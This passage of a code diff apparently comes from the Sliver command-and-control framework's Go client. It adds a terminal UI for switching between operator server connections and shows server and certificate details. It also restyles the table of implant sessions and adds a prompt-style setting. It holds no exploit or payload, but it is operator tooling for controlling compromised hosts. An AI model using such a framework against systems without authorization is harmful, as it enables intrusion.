||||||
|
details, state, ok := con.CurrentConnection()
|
||||||
|
if !ok || con.Rpc == nil {
|
||||||
|
con.PrintErrorf("Not connected\n")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
var hostPort string
|
||||||
|
operator := ""
|
||||||
|
fingerprint := ""
|
||||||
|
if details != nil && details.Config != nil {
|
||||||
|
hostPort = fmt.Sprintf("%s:%d", details.Config.LHost, details.Config.LPort)
|
||||||
|
operator = operatorFromConfig(details.Config)
|
||||||
|
fingerprint = shortCertFingerprint(details.Config)
|
||||||
|
}
|
||||||
|
if operator == "" {
|
||||||
|
operator = "<unknown>"
|
||||||
|
}
|
||||||
|
if hostPort == "" {
|
||||||
|
hostPort = "<unknown>"
|
||||||
|
}
|
||||||
|
|
||||||
|
ver, err := con.Rpc.GetVersion(context.Background(), &commonpb.Empty{})
|
||||||
|
if err != nil {
|
||||||
|
con.PrintErrorf("GetVersion failed: %s\n", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
const keyWidth = 8 // Align on ": " (e.g., "Operator", "Version")
|
||||||
|
|
||||||
|
label := func(key string) string {
|
||||||
|
// Bold "default/white" label keys, padded so colons align.
|
||||||
|
return console.StyleBoldGray.Render(fmt.Sprintf("%-*s:", keyWidth, key))
|
||||||
|
}
|
||||||
|
valueSecondary := func(s string) string { return console.StylePurple.Render(s) }
|
||||||
|
valueDim := func(s string) string { return console.StyleGray.Render(s) }
|
||||||
|
|
||||||
|
stateStyle := console.StyleGray
|
||||||
|
switch state {
|
||||||
|
case connectivity.Ready:
|
||||||
|
stateStyle = console.StyleGreen
|
||||||
|
case connectivity.Connecting:
|
||||||
|
stateStyle = console.StyleOrange
|
||||||
|
case connectivity.TransientFailure, connectivity.Shutdown:
|
||||||
|
stateStyle = console.StyleRed
|
||||||
|
case connectivity.Idle:
|
||||||
|
stateStyle = console.StyleOrange
|
||||||
|
}
|
||||||
|
|
||||||
|
// Server/operator values should be "default" terminal text (not themed colorized).
|
||||||
|
con.Printf("%s %s\n", label("Server"), hostPort)
|
||||||
|
if details != nil && details.ConfigKey != "" {
|
||||||
|
con.Printf("%s %s\n", label("Profile"), valueSecondary(details.ConfigKey))
|
||||||
|
}
|
||||||
|
con.Printf("%s %s\n", label("Operator"), operator)
|
||||||
|
if fingerprint != "" {
|
||||||
|
con.Printf("%s %s\n", label("Cert"), valueDim(fingerprint))
|
||||||
|
}
|
||||||
|
con.Printf("%s %s\n", label("gRPC"), stateStyle.Render(state.String()))
|
||||||
|
con.Printf("%s %s %s\n",
|
||||||
|
label("Version"),
|
||||||
|
console.StyleBold.Render(fmt.Sprintf("%d.%d.%d", ver.Major, ver.Minor, ver.Patch)),
|
||||||
|
valueDim("("+ver.Commit+")"),
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
func serverSwitch(_ *cobra.Command, con *console.SliverClient) {
|
||||||
|
configs := assets.GetConfigs()
|
||||||
|
if len(configs) == 0 {
|
||||||
|
con.PrintErrorf("No config files found at %s\n", assets.GetConfigDir())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
keys := make([]string, 0, len(configs))
|
||||||
|
for k := range configs {
|
||||||
|
keys = append(keys, k)
|
||||||
|
}
|
||||||
|
sort.Strings(keys)
|
||||||
|
|
||||||
|
mgr := getConsoleManager(con)
|
||||||
|
mgr.syncActiveFromConsole(con)
|
||||||
|
|
||||||
|
instances, activeID := mgr.snapshot()
|
||||||
|
result, err := runSwitchTUI(instances, activeID, keys, mgr.configInstanceCountsLocked(instances))
|
||||||
|
if err != nil {
|
||||||
|
con.PrintErrorf("TUI error: %s\n", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if result.Action == actionNone {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
switch result.Action {
|
||||||
|
case actionSwitchExisting:
|
||||||
|
inst := mgr.findInstance(result.ExistingID)
|
||||||
|
if inst == nil || inst.Config == nil {
|
||||||
|
con.PrintErrorf("Invalid selection\n")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if inst.ID == activeID {
|
||||||
|
con.PrintInfof("Already on %s\n", inst.DisplayName())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
rpc, conn, err := transport.MTLSConnect(inst.Config)
|
||||||
|
if err != nil {
|
||||||
|
con.PrintErrorf("Connection failed: %s\n", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := con.SetConnection(rpc, conn, &console.ConnectionDetails{ConfigKey: inst.ConfigKey, Config: inst.Config}); err != nil {
|
||||||
|
_ = conn.Close()
|
||||||
|
con.PrintErrorf("Switch failed: %s\n", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
mgr.setActive(inst.ID)
|
||||||
|
con.PrintSuccessf("Switched to %s:%d (%s)\n", inst.Config.LHost, inst.Config.LPort, inst.DisplayName())
|
||||||
|
|
||||||
|
case actionNewConsole:
|
||||||
|
cfg := configs[result.ConfigKey]
|
||||||
|
if cfg == nil {
|
||||||
|
con.PrintErrorf("Invalid selection\n")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
rpc, conn, err := transport.MTLSConnect(cfg)
|
||||||
|
if err != nil {
|
||||||
|
con.PrintErrorf("Connection failed: %s\n", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := con.SetConnection(rpc, conn, &console.ConnectionDetails{ConfigKey: result.ConfigKey, Config: cfg}); err != nil {
|
||||||
|
_ = conn.Close()
|
||||||
|
con.PrintErrorf("Switch failed: %s\n", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
inst := mgr.addInstance(result.ConfigKey, cfg)
|
||||||
|
con.PrintSuccessf("Connected to %s:%d (%s)\n", cfg.LHost, cfg.LPort, inst.DisplayName())
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
var consoleManagers sync.Map // *console.SliverClient -> *consoleManager
|
||||||
|
|
||||||
|
type consoleManager struct {
|
||||||
|
mu sync.Mutex
|
||||||
|
nextID int
|
||||||
|
activeID string
|
||||||
|
insts []*consoleInstance
|
||||||
|
}
|
||||||
|
|
||||||
|
type consoleInstance struct {
|
||||||
|
ID string
|
||||||
|
ConfigKey string
|
||||||
|
Config *assets.ClientConfig
|
||||||
|
CreatedAt time.Time
|
||||||
|
LastUsed time.Time
|
||||||
|
}
|
||||||
|
|
||||||
|
func (i *consoleInstance) DisplayName() string {
|
||||||
|
if i == nil {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
return fmt.Sprintf("console-%s", i.ID)
|
||||||
|
}
|
||||||
|
|
||||||
|
func getConsoleManager(con *console.SliverClient) *consoleManager {
|
||||||
|
if con == nil {
|
||||||
|
return &consoleManager{}
|
||||||
|
}
|
||||||
|
if v, ok := consoleManagers.Load(con); ok {
|
||||||
|
return v.(*consoleManager)
|
||||||
|
}
|
||||||
|
m := &consoleManager{}
|
||||||
|
actual, _ := consoleManagers.LoadOrStore(con, m)
|
||||||
|
return actual.(*consoleManager)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (m *consoleManager) syncActiveFromConsole(con *console.SliverClient) {
|
||||||
|
if m == nil || con == nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
details, _, ok := con.CurrentConnection()
|
||||||
|
if !ok || details == nil || details.Config == nil || details.ConfigKey == "" {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
m.mu.Lock()
|
||||||
|
defer m.mu.Unlock()
|
||||||
|
|
||||||
|
// If we already have an active instance, keep it. Otherwise create one from the current connection.
|
||||||
|
if m.activeID != "" {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
m.nextID++
|
||||||
|
id := fmt.Sprintf("%d", m.nextID)
|
||||||
|
now := time.Now()
|
||||||
|
m.activeID = id
|
||||||
|
m.insts = append(m.insts, &consoleInstance{
|
||||||
|
ID: id,
|
||||||
|
ConfigKey: details.ConfigKey,
|
||||||
|
Config: details.Config,
|
||||||
|
CreatedAt: now,
|
||||||
|
LastUsed: now,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
func (m *consoleManager) snapshot() ([]*consoleInstance, string) {
|
||||||
|
m.mu.Lock()
|
||||||
|
defer m.mu.Unlock()
|
||||||
|
|
||||||
|
out := make([]*consoleInstance, 0, len(m.insts))
|
||||||
|
out = append(out, m.insts...)
|
||||||
|
return out, m.activeID
|
||||||
|
}
|
||||||
|
|
||||||
|
func (m *consoleManager) findInstance(id string) *consoleInstance {
|
||||||
|
m.mu.Lock()
|
||||||
|
defer m.mu.Unlock()
|
||||||
|
for _, inst := range m.insts {
|
||||||
|
if inst != nil && inst.ID == id {
|
||||||
|
return inst
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (m *consoleManager) setActive(id string) {
|
||||||
|
m.mu.Lock()
|
||||||
|
defer m.mu.Unlock()
|
||||||
|
m.activeID = id
|
||||||
|
for _, inst := range m.insts {
|
||||||
|
if inst != nil && inst.ID == id {
|
||||||
|
inst.LastUsed = time.Now()
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (m *consoleManager) addInstance(configKey string, cfg *assets.ClientConfig) *consoleInstance {
|
||||||
|
m.mu.Lock()
|
||||||
|
defer m.mu.Unlock()
|
||||||
|
|
||||||
|
m.nextID++
|
||||||
|
id := fmt.Sprintf("%d", m.nextID)
|
||||||
|
now := time.Now()
|
||||||
|
inst := &consoleInstance{
|
||||||
|
ID: id,
|
||||||
|
ConfigKey: configKey,
|
||||||
|
Config: cfg,
|
||||||
|
CreatedAt: now,
|
||||||
|
LastUsed: now,
|
||||||
|
}
|
||||||
|
m.insts = append(m.insts, inst)
|
||||||
|
m.activeID = id
|
||||||
|
return inst
|
||||||
|
}
|
||||||
|
|
||||||
|
func (m *consoleManager) configInstanceCountsLocked(insts []*consoleInstance) map[string]int {
|
||||||
|
// Caller provides insts snapshot; we just count.
|
||||||
|
counts := map[string]int{}
|
||||||
|
for _, inst := range insts {
|
||||||
|
if inst == nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
counts[inst.ConfigKey]++
|
||||||
|
}
|
||||||
|
return counts
|
||||||
|
}
|
||||||
|
|
||||||
|
type switchAction int
|
||||||
|
|
||||||
|
const (
|
||||||
|
actionNone switchAction = iota
|
||||||
|
actionSwitchExisting
|
||||||
|
actionNewConsole
|
||||||
|
)
|
||||||
|
|
||||||
|
type switchResult struct {
|
||||||
|
Action switchAction
|
||||||
|
ExistingID string
|
||||||
|
ConfigKey string
|
||||||
|
}
|
||||||
|
|
||||||
|
type switchTab int
|
||||||
|
|
||||||
|
const (
|
||||||
|
tabExisting switchTab = iota
|
||||||
|
tabNew
|
||||||
|
)
|
||||||
|
|
||||||
|
type switchTUIModel struct {
|
||||||
|
tab switchTab
|
||||||
|
existing *huh.Form
|
||||||
|
newConn *huh.Form
|
||||||
|
result switchResult
|
||||||
|
width int
|
||||||
|
height int
|
||||||
|
theme *huh.Theme
|
||||||
|
styles switchStyles
|
||||||
|
activeID string
|
||||||
|
counts map[string]int
|
||||||
|
initOnce bool
|
||||||
|
keyMap *huh.KeyMap
|
||||||
|
}
|
||||||
|
|
||||||
|
type switchStyles struct {
|
||||||
|
frame lipgloss.Style
|
||||||
|
header lipgloss.Style
|
||||||
|
tabActive lipgloss.Style
|
||||||
|
tabInactive lipgloss.Style
|
||||||
|
footer lipgloss.Style
|
||||||
|
footerDim lipgloss.Style
|
||||||
|
divider lipgloss.Style
|
||||||
|
}
|
||||||
|
|
||||||
|
func runSwitchTUI(instances []*consoleInstance, activeID string, configKeys []string, counts map[string]int) (switchResult, error) {
|
||||||
|
m := newSwitchTUIModel(instances, activeID, configKeys, counts)
|
||||||
|
prog := tea.NewProgram(m, tea.WithAltScreen())
|
||||||
|
finalModel, err := prog.Run()
|
||||||
|
if err != nil {
|
||||||
|
return switchResult{}, err
|
||||||
|
}
|
||||||
|
out, ok := finalModel.(switchTUIModel)
|
||||||
|
if !ok {
|
||||||
|
return switchResult{}, fmt.Errorf("unexpected TUI state")
|
||||||
|
}
|
||||||
|
return out.result, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func newSwitchTUIModel(instances []*consoleInstance, activeID string, configKeys []string, counts map[string]int) switchTUIModel {
|
||||||
|
keyMap := huh.NewDefaultKeyMap()
|
||||||
|
// Free up tab for switching between views; use enter to select/advance.
|
||||||
|
keyMap.Select.Next = key.NewBinding(key.WithKeys("enter"), key.WithHelp("enter", "select"))
|
||||||
|
keyMap.Select.Submit = key.NewBinding(key.WithKeys("enter"), key.WithHelp("enter", "submit"))
|
||||||
|
|
||||||
|
huhTheme := clienttheme.HuhTheme()
|
||||||
|
|
||||||
|
styles := switchStyles{
|
||||||
|
frame: lipgloss.NewStyle().
|
||||||
|
Border(lipgloss.RoundedBorder()).
|
||||||
|
BorderForeground(clienttheme.DefaultMod(300)).
|
||||||
|
Padding(0, 1),
|
||||||
|
header: lipgloss.NewStyle().MarginBottom(1),
|
||||||
|
tabActive: lipgloss.NewStyle().
|
||||||
|
Bold(true).
|
||||||
|
Foreground(clienttheme.DefaultMod(900)).
|
||||||
|
Background(clienttheme.Primary()).
|
||||||
|
Padding(0, 1),
|
||||||
|
tabInactive: lipgloss.NewStyle().
|
||||||
|
Foreground(clienttheme.DefaultMod(500)).
|
||||||
|
Background(clienttheme.DefaultMod(50)).
|
||||||
|
Padding(0, 1),
|
||||||
|
footer: lipgloss.NewStyle().MarginTop(1),
|
||||||
|
footerDim: lipgloss.NewStyle().Foreground(clienttheme.DefaultMod(400)),
|
||||||
|
divider: lipgloss.NewStyle().Foreground(clienttheme.DefaultMod(300)),
|
||||||
|
}
|
||||||
|
|
||||||
|
existingID := activeID
|
||||||
|
existingOptions := make([]huh.Option[string], 0, len(instances))
|
||||||
|
for _, inst := range instances {
|
||||||
|
if inst == nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
label := fmt.Sprintf("%s %s", inst.DisplayName(), inst.ConfigKey)
|
||||||
|
if inst.ID == activeID && activeID != "" {
|
||||||
|
label = fmt.Sprintf("* %s", label)
|
||||||
|
}
|
||||||
|
existingOptions = append(existingOptions, huh.NewOption(label, inst.ID))
|
||||||
|
}
|
||||||
|
|
||||||
|
if len(existingOptions) == 0 {
|
||||||
|
// Always provide at least one option so Huh doesn't error.
|
||||||
|
existingOptions = append(existingOptions, huh.NewOption("(no existing consoles)", ""))
|
||||||
|
}
|
||||||
|
|
||||||
|
existingSelect := huh.NewSelect[string]().
|
||||||
|
Title("Existing Consoles").
|
||||||
|
Description("Switch to an already-created console context. Use / to filter.").
|
||||||
|
Options(existingOptions...).
|
||||||
|
Key("existing").
|
||||||
|
Value(&existingID)
|
||||||
|
|
||||||
|
existingForm := huh.NewForm(huh.NewGroup(existingSelect)).
|
||||||
|
WithTheme(huhTheme).
|
||||||
|
WithKeyMap(keyMap).
|
||||||
|
WithShowHelp(false)
|
||||||
|
|
||||||
|
newKey := ""
|
||||||
|
configOptions := make([]huh.Option[string], 0, len(configKeys))
|
||||||
|
for _, k := range configKeys {
|
||||||
|
label := k
|
||||||
|
if n := counts[k]; n > 0 {
|
||||||
|
label = fmt.Sprintf("%s (existing: %d)", k, n)
|
||||||
|
}
|
||||||
|
configOptions = append(configOptions, huh.NewOption(label, k))
|
||||||
|
if newKey == "" {
|
||||||
|
newKey = k
|
||||||
|
}
|
||||||
|
}
|
||||||
|
newSelect := huh.NewSelect[string]().
|
||||||
|
Title("New Connection / Console").
|
||||||
|
Description("Create a new console context from a profile in ~/.sliver-client/configs. Use / to filter.").
|
||||||
|
Options(configOptions...).
|
||||||
|
Key("config").
|
||||||
|
Value(&newKey)
|
||||||
|
|
||||||
|
newForm := huh.NewForm(huh.NewGroup(newSelect)).
|
||||||
|
WithTheme(huhTheme).
|
||||||
|
WithKeyMap(keyMap).
|
||||||
|
WithShowHelp(false)
|
||||||
|
|
||||||
|
return switchTUIModel{
|
||||||
|
tab: tabExisting,
|
||||||
|
existing: existingForm,
|
||||||
|
newConn: newForm,
|
||||||
|
theme: huhTheme,
|
||||||
|
styles: styles,
|
||||||
|
activeID: activeID,
|
||||||
|
counts: counts,
|
||||||
|
keyMap: keyMap,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (m switchTUIModel) Init() tea.Cmd {
|
||||||
|
// Initialize both forms so they're ready when switching tabs.
|
||||||
|
return tea.Batch(m.existing.Init(), m.newConn.Init())
|
||||||
|
}
|
||||||
|
|
||||||
|
func (m switchTUIModel) Update(msg tea.Msg) (tea.Model, tea.Cmd) {
|
||||||
|
switch msg := msg.(type) {
|
||||||
|
case tea.WindowSizeMsg:
|
||||||
|
m.width = msg.Width
|
||||||
|
m.height = msg.Height
|
||||||
|
|
||||||
|
// Forward to both forms so they size correctly.
|
||||||
|
modelA, cmdA := m.existing.Update(msg)
|
||||||
|
modelB, cmdB := m.newConn.Update(msg)
|
||||||
|
m.existing = modelA.(*huh.Form)
|
||||||
|
m.newConn = modelB.(*huh.Form)
|
||||||
|
return m, tea.Batch(cmdA, cmdB)
|
||||||
|
|
||||||
|
case tea.KeyMsg:
|
||||||
|
switch msg.String() {
|
||||||
|
case "tab":
|
||||||
|
if m.tab == tabExisting {
|
||||||
|
m.tab = tabNew
|
||||||
|
} else {
|
||||||
|
m.tab = tabExisting
|
||||||
|
}
|
||||||
|
return m, nil
|
||||||
|
case "shift+tab":
|
||||||
|
if m.tab == tabExisting {
|
||||||
|
m.tab = tabNew
|
||||||
|
} else {
|
||||||
|
m.tab = tabExisting
|
||||||
|
}
|
||||||
|
return m, nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Delegate to active tab's form.
|
||||||
|
switch m.tab {
|
||||||
|
case tabExisting:
|
||||||
|
model, cmd := m.existing.Update(msg)
|
||||||
|
m.existing = model.(*huh.Form)
|
||||||
|
if m.existing.State == huh.StateCompleted {
|
||||||
|
id := m.existing.GetString("existing")
|
||||||
|
if id != "" {
|
||||||
|
m.result = switchResult{Action: actionSwitchExisting, ExistingID: id}
|
||||||
|
}
|
||||||
|
return m, tea.Quit
|
||||||
|
}
|
||||||
|
if m.existing.State == huh.StateAborted {
|
||||||
|
m.result = switchResult{Action: actionNone}
|
||||||
|
return m, tea.Quit
|
||||||
|
}
|
||||||
|
return m, cmd
|
||||||
|
|
||||||
|
case tabNew:
|
||||||
|
model, cmd := m.newConn.Update(msg)
|
||||||
|
m.newConn = model.(*huh.Form)
|
||||||
|
if m.newConn.State == huh.StateCompleted {
|
||||||
|
key := m.newConn.GetString("config")
|
||||||
|
if key != "" {
|
||||||
|
m.result = switchResult{Action: actionNewConsole, ConfigKey: key}
|
||||||
|
}
|
||||||
|
return m, tea.Quit
|
||||||
|
}
|
||||||
|
if m.newConn.State == huh.StateAborted {
|
||||||
|
m.result = switchResult{Action: actionNone}
|
||||||
|
return m, tea.Quit
|
||||||
|
}
|
||||||
|
return m, cmd
|
||||||
|
}
|
||||||
|
|
||||||
|
return m, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (m switchTUIModel) View() string {
|
||||||
|
header := m.renderHeader()
|
||||||
|
|
||||||
|
body := ""
|
||||||
|
switch m.tab {
|
||||||
|
case tabExisting:
|
||||||
|
body = m.existing.View()
|
||||||
|
case tabNew:
|
||||||
|
body = m.newConn.View()
|
||||||
|
}
|
||||||
|
|
||||||
|
footer := m.renderFooter()
|
||||||
|
|
||||||
|
content := lipgloss.JoinVertical(lipgloss.Left, header, body, footer)
|
||||||
|
return m.styles.frame.Render(content)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (m switchTUIModel) renderHeader() string {
|
||||||
|
left := m.styles.tabInactive.Render("Existing")
|
||||||
|
right := m.styles.tabInactive.Render("New")
|
||||||
|
if m.tab == tabExisting {
|
||||||
|
left = m.styles.tabActive.Render("Existing")
|
||||||
|
} else {
|
||||||
|
right = m.styles.tabActive.Render("New")
|
||||||
|
}
|
||||||
|
line := lipgloss.JoinHorizontal(lipgloss.Left, left, m.styles.divider.Render(" "), right)
|
||||||
|
return m.styles.header.Render(line)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (m switchTUIModel) renderFooter() string {
|
||||||
|
keys := "tab: switch view enter: select /: filter ctrl+c: cancel"
|
||||||
|
return m.styles.footerDim.Render(keys)
|
||||||
|
}
|
||||||
|
|
||||||
|
func operatorFromConfig(cfg *assets.ClientConfig) string {
|
||||||
|
if cfg == nil {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
// Prefer the certificate CN, since config.Operator is mostly informational.
|
||||||
|
block, _ := pem.Decode([]byte(cfg.Certificate))
|
||||||
|
if block != nil {
|
||||||
|
cert, err := x509.ParseCertificate(block.Bytes)
|
||||||
|
if err == nil && cert.Subject.CommonName != "" {
|
||||||
|
return cert.Subject.CommonName
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if strings.TrimSpace(cfg.Operator) != "" {
|
||||||
|
return strings.TrimSpace(cfg.Operator)
|
||||||
|
}
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
|
||||||
|
func shortCertFingerprint(cfg *assets.ClientConfig) string {
|
||||||
|
if cfg == nil {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
digest := sha256.Sum256([]byte(cfg.Certificate))
|
||||||
|
return fmt.Sprintf("%x", digest[:8])
|
||||||
|
}
|
||||||
@@ -0,0 +1,13 @@
|
|||||||
|
//go:build !client
|
||||||
|
|
||||||
|
package serverctx
|
||||||
|
|
||||||
|
import (
|
||||||
|
"github.com/bishopfox/sliver/client/console"
|
||||||
|
"github.com/spf13/cobra"
|
||||||
|
)
|
||||||
|
|
||||||
|
// Commands is a no-op when building without the `client` build tag (e.g. sliver-server).
|
||||||
|
func Commands(_ *console.SliverClient) []*cobra.Command {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
@@ -192,15 +192,15 @@ func PrintSessions(sessions map[string]*clientpb.Session, filter string, filterR
|
|||||||
})
|
})
|
||||||
|
|
||||||
for _, session := range sessions {
|
for _, session := range sessions {
|
||||||
color := console.Normal
|
style := console.StyleNormal
|
||||||
if con.ActiveTarget.GetSession() != nil && con.ActiveTarget.GetSession().ID == session.ID {
|
if con.ActiveTarget.GetSession() != nil && con.ActiveTarget.GetSession().ID == session.ID {
|
||||||
color = console.Green
|
style = console.StyleGreen
|
||||||
}
|
}
|
||||||
var SessionHealth string
|
var SessionHealth string
|
||||||
if session.IsDead {
|
if session.IsDead {
|
||||||
SessionHealth = console.Bold + console.Red + "[DEAD]" + console.Normal
|
SessionHealth = console.StyleBoldRed.Render("[DEAD]")
|
||||||
} else {
|
} else {
|
||||||
SessionHealth = console.Bold + console.Green + "[ALIVE]" + console.Normal
|
SessionHealth = console.StyleBoldGreen.Render("[ALIVE]")
|
||||||
}
|
}
|
||||||
burned := ""
|
burned := ""
|
||||||
if session.Burned {
|
if session.Burned {
|
||||||
@@ -211,33 +211,33 @@ func PrintSessions(sessions map[string]*clientpb.Session, filter string, filterR
|
|||||||
var rowEntries []string
|
var rowEntries []string
|
||||||
if wideTermWidth {
|
if wideTermWidth {
|
||||||
rowEntries = []string{
|
rowEntries = []string{
|
||||||
fmt.Sprintf(color+"%s"+console.Normal, ShortSessionID(session.ID)),
|
style.Render(ShortSessionID(session.ID)),
|
||||||
fmt.Sprintf(color+"%s"+console.Normal, session.Name),
|
style.Render(session.Name),
|
||||||
fmt.Sprintf(color+"%s"+console.Normal, session.Transport),
|
style.Render(session.Transport),
|
||||||
fmt.Sprintf(color+"%s"+console.Normal, session.RemoteAddress),
|
style.Render(session.RemoteAddress),
|
||||||
fmt.Sprintf(color+"%s"+console.Normal, session.Hostname),
|
style.Render(session.Hostname),
|
||||||
fmt.Sprintf(color+"%s"+console.Normal, username),
|
style.Render(username),
|
||||||
fmt.Sprintf(color+"%s (%d)"+console.Normal, session.Filename, session.PID),
|
style.Render(fmt.Sprintf("%s (%d)", session.Filename, session.PID)),
|
||||||
}
|
}
|
||||||
|
|
||||||
if windowsSessionInList {
|
if windowsSessionInList {
|
||||||
rowEntries = append(rowEntries, fmt.Sprintf(color+"%s"+console.Normal, session.Integrity))
|
rowEntries = append(rowEntries, style.Render(session.Integrity))
|
||||||
}
|
}
|
||||||
|
|
||||||
rowEntries = append(rowEntries, []string{
|
rowEntries = append(rowEntries, []string{
|
||||||
fmt.Sprintf(color+"%s/%s"+console.Normal, session.OS, session.Arch),
|
style.Render(fmt.Sprintf("%s/%s", session.OS, session.Arch)),
|
||||||
fmt.Sprintf(color+"%s"+console.Normal, session.Locale),
|
style.Render(session.Locale),
|
||||||
con.FormatDateDelta(time.Unix(session.LastCheckin, 0), wideTermWidth, false),
|
con.FormatDateDelta(time.Unix(session.LastCheckin, 0), wideTermWidth, false),
|
||||||
burned + SessionHealth,
|
burned + SessionHealth,
|
||||||
}...)
|
}...)
|
||||||
} else {
|
} else {
|
||||||
rowEntries = []string{
|
rowEntries = []string{
|
||||||
fmt.Sprintf(color+"%s"+console.Normal, ShortSessionID(session.ID)),
|
style.Render(ShortSessionID(session.ID)),
|
||||||
fmt.Sprintf(color+"%s"+console.Normal, session.Transport),
|
style.Render(session.Transport),
|
||||||
fmt.Sprintf(color+"%s"+console.Normal, session.RemoteAddress),
|
style.Render(session.RemoteAddress),
|
||||||
fmt.Sprintf(color+"%s"+console.Normal, session.Hostname),
|
style.Render(session.Hostname),
|
||||||
fmt.Sprintf(color+"%s"+console.Normal, username),
|
style.Render(username),
|
||||||
fmt.Sprintf(color+"%s/%s"+console.Normal, session.OS, session.Arch),
|
style.Render(fmt.Sprintf("%s/%s", session.OS, session.Arch)),
|
||||||
burned + SessionHealth,
|
burned + SessionHealth,
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -20,6 +20,7 @@ package settings
|
|||||||
|
|
||||||
import (
|
import (
|
||||||
"errors"
|
"errors"
|
||||||
|
"path/filepath"
|
||||||
"strconv"
|
"strconv"
|
||||||
"strings"
|
"strings"
|
||||||
|
|
||||||
@@ -58,12 +59,22 @@ func SettingsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
|||||||
con.PrintErrorf("Failed to apply settings form values: %s\n", err)
|
con.PrintErrorf("Failed to apply settings form values: %s\n", err)
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
if err := assets.SaveSettings(con.Settings); err != nil {
|
||||||
|
con.PrintErrorf("Failed to save settings: %s\n", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if assets.NormalizePromptStyle(result.PromptStyle) == assets.PromptStyleCustom {
|
||||||
|
settingsPath := filepath.Join(assets.GetRootAppDir(), "tui-settings.yaml")
|
||||||
|
con.PrintInfof("Prompt style is %q. Edit %s to set %q.\n", assets.PromptStyleCustom, settingsPath, "prompt_template")
|
||||||
|
con.Println("")
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
tw := table.NewWriter()
|
tw := table.NewWriter()
|
||||||
tw.SetStyle(GetTableStyle(con))
|
tw.SetStyle(GetTableStyle(con))
|
||||||
tw.AppendHeader(table.Row{"Name", "Value", "Description"})
|
tw.AppendHeader(table.Row{"Name", "Value", "Description"})
|
||||||
tw.AppendRow(table.Row{"Tables", con.Settings.TableStyle, "Set the stylization of tables"})
|
tw.AppendRow(table.Row{"Tables", con.Settings.TableStyle, "Set the stylization of tables"})
|
||||||
|
tw.AppendRow(table.Row{"Prompt", con.Settings.PromptStyle, "Set the console prompt prefix style"})
|
||||||
tw.AppendRow(table.Row{"Auto Adult", con.Settings.AutoAdult, "Automatically accept OPSEC warnings"})
|
tw.AppendRow(table.Row{"Auto Adult", con.Settings.AutoAdult, "Automatically accept OPSEC warnings"})
|
||||||
tw.AppendRow(table.Row{"Auto Beacon Results", con.Settings.BeaconAutoResults, "Automatically display beacon results when tasks complete"})
|
tw.AppendRow(table.Row{"Auto Beacon Results", con.Settings.BeaconAutoResults, "Automatically display beacon results when tasks complete"})
|
||||||
tw.AppendRow(table.Row{"Small Term Width", con.Settings.SmallTermWidth, "Omit some table columns when terminal width is less than this value"})
|
tw.AppendRow(table.Row{"Small Term Width", con.Settings.SmallTermWidth, "Omit some table columns when terminal width is less than this value"})
|
||||||
@@ -221,6 +232,7 @@ func applySettingsForm(settings *assets.ClientSettings, result *forms.SettingsFo
|
|||||||
if width < 1 {
|
if width < 1 {
|
||||||
return errors.New("small terminal width must be 1 or greater")
|
return errors.New("small terminal width must be 1 or greater")
|
||||||
}
|
}
|
||||||
|
promptStyle := assets.NormalizePromptStyle(result.PromptStyle)
|
||||||
|
|
||||||
settings.TableStyle = result.TableStyle
|
settings.TableStyle = result.TableStyle
|
||||||
settings.AutoAdult = result.AutoAdult
|
settings.AutoAdult = result.AutoAdult
|
||||||
@@ -230,5 +242,6 @@ func applySettingsForm(settings *assets.ClientSettings, result *forms.SettingsFo
|
|||||||
settings.VimMode = result.VimMode
|
settings.VimMode = result.VimMode
|
||||||
settings.UserConnect = result.UserConnect
|
settings.UserConnect = result.UserConnect
|
||||||
settings.ConsoleLogs = result.ConsoleLogs
|
settings.ConsoleLogs = result.ConsoleLogs
|
||||||
|
settings.PromptStyle = promptStyle
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
@@ -218,12 +218,12 @@ func PaginateTable(tw table.Writer, skipPages int, overflow bool, interactive bo
|
|||||||
}
|
}
|
||||||
con.Println()
|
con.Println()
|
||||||
} else {
|
} else {
|
||||||
con.Printf(console.Bold+"Page [%d/%d]\n", pageNumber+1, len(pages))
|
